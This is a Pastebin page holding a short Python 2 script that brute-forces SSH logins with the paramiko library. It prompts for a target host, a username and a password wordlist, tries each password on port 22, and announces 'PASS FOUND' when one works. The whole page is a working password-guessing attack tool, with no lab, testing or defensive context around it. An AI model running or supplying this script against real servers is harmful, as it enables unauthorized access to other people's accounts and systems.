Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import paramiko, sys, os, socket
- global host, username, line, input_file
- line = "\n-------------------------------------------\n"
- try:
- host = raw_input("Host: ")
- username = raw_input("Username: ")
- input_file = raw_input("WordList: ")
- if os.path.exists(input_file) == False:
- print ("\n WordList Does Not Exist")
- sys.exit(4)
- except KeyboardInterrupt:
- print ("\n\n Exiting")
- sys.exit(3)
- def ssh_connect(password, code = 0):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(host, port=22, username=username, password=password)
- except paramiko.AuthenticationException:
- code = 1
- except socket.error, e:
- code = 2
- ssh.close()
- return code
- input_file = open(input_file)
- print("%s " % (line))
- for i in input_file.readlines():
- password = i.strip("\n")
- try:
- response = ssh_connect(password)
- if response == 0:
- print("%s User: %s [!!!!!!!] PASS FOUND: %s%s" % (line, username, password, line))
- sys.exit(0)
- elif response == 1:
- print("User: %s || Pass= %s == Incorrect!" % (username, password))
- elif response == 2:
- print(" Connection Failed ")
- sys.exit(2)
- except Exception, e:
- print e
- pass
- input_file.close()
Add Comment
Please, Sign In to add comment